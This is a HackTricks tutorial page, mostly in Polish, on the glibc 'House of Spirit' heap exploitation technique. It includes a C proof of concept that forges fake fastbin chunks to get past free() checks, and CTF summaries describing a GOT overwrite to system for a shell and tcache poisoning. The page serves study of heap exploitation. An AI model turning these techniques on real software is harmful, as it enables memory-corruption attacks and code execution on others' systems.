House of Spirit
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Sprawdź plany subskrypcyjne!
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
```c #include #include #include #include
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Cel
* Móc dodać adres do tcache / fast bin, aby później można go było przydzielić
### Wymagania
* Ten atak wymaga, aby atakujący mógł stworzyć kilka fałszywych szybkich chunków, poprawnie wskazując wartość rozmiaru, a następnie móc zwolnić pierwszy fałszywy chunk, aby trafił do bin.
### Atak
* Stwórz fałszywe chunki, które omijają kontrole bezpieczeństwa: będziesz potrzebować 2 fałszywych chunków, które zasadniczo wskazują w odpowiednich pozycjach poprawne rozmiary
* Jakoś udać się zwolnić pierwszy fałszywy chunk, aby trafił do fast lub tcache bin, a następnie przydzielić go, aby nadpisać ten adres
**Kod od** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **jest świetny do zrozumienia ataku.** Chociaż ten schemat z kodu podsumowuje to całkiem dobrze:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
Zauważ, że konieczne jest utworzenie drugiego kawałka, aby obejść niektóre kontrole poprawności.
Libc infoleak: Poprzez przepełnienie możliwe jest zmienienie wskaźnika, aby wskazywał na adres GOT w celu wycieku adresu libc za pomocą akcji odczytu CTF
House of Spirit: Wykorzystując licznik, który zlicza liczbę "karabinów", możliwe jest wygenerowanie fałszywego rozmiaru pierwszego fałszywego kawałka, a następnie wykorzystując "wiadomość", możliwe jest sfałszowanie drugiego rozmiaru kawałka, a na koniec, wykorzystując przepełnienie, możliwe jest zmienienie wskaźnika, który ma być zwolniony, aby nasz pierwszy fałszywy kawałek został zwolniony. Następnie możemy go przydzielić, a wewnątrz niego będzie adres, pod którym przechowywana jest "wiadomość". Następnie możliwe jest skierowanie tego na wpis scanf
w tabeli GOT, abyśmy mogli go nadpisać adresem do system.
Następnym razem, gdy zostanie wywołane scanf
, możemy wysłać dane wejściowe "/bin/sh"
i uzyskać powłokę.
Glibc leak: Niezainicjowany bufor stosu.
House of Spirit: Możemy zmodyfikować pierwszy indeks globalnej tablicy wskaźników na stercie. Przy jednej modyfikacji bajtu używamy free
na fałszywym kawałku wewnątrz ważnego kawałka, aby uzyskać sytuację z nakładającymi się kawałkami po ponownym przydzieleniu. Dzięki temu prosty atak na zatrucie Tcache działa, aby uzyskać dowolny zapis.
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)